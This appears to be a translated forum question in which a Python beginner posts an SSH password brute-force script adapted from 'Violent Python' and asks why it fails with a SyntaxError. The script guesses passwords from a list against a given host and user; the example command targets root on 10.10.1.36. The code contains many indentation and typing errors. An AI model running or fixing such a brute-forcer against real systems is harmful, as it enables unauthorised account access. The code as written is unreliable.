0

わかりましたので、Violent Python book を使用して、SSH ブルート フォース プログラムを作成しました。次のコードを実行すると

import pxssh
import optparse
import time
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxconnections)
Found = False
Fails = 0

def connect(host, user, password, release):
    global Found
    global Fails
    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        print '[+} Paassword Found: ' + password
    Found = True
    except Exception, e:
        if 'read_nonblocking' in str(e):
        Fails += 1
            time.sleep(5)
            connect(host, user, password, False)
    elif 'synchronize with original prompt' in str(e):
        time.sleep(1)
        connect9host, user, password, False)
    finally:
    if release: connection_lock.release()

def main():
    parser = optparse.OptionParser('usage%prog '+\
        '-H <target host> -u <user> -F <password list>')
    parser.add_option('-H', dest='tgtHost', type='string', \
        help= 'specify target host')
    parser.add_option('-u', dest='user', type='string', \
        help='specify the user')
    parser.add_option('-F', dest='psswdFile', type='string, \
        help='specify password file')
        (options, args) = parser.parse_args()
    host = options.tgtHost
    passwdFile = options.psswdFile
    user = options.user

    if host == None or psswdFile == None or user == None:
        print parser.usage
        exit(0)
    fn = open(psswdFile, 'r')
    for line in fn.readlines():
    if Found:
        print "[+] Exting: Password Found."
        exit(0)
        if Fails > 5
        print "[!] Exiting: Too many socket timeouts"
        exit(0)
    connection_lock.acquire()
        password = line.strip('\r').strip('\n')
    print "[-] Testing: "+str(password)
        t = Thread(target=connect, args+(host, user, \
            password, True))
        child = t.start()

if __name__ == '__main__':
    main()

次のコマンドを使用してターミナルで実行します。

python brute_force_ssh_pxssh.py -H 10.10.1.36 -u root -F pass.txt

次のエラーが表示されます。

    File "brute_force_ssh_pxssh.py", line 17
    Found = True
        ^
SyntaxError: invalid syntax

サンプルコードを確認したところ、これとまったく同じように書かれています...どんな助けも大歓迎です。(私はまだPythonの初心者です)。ありがとう!

4

4 に答える 4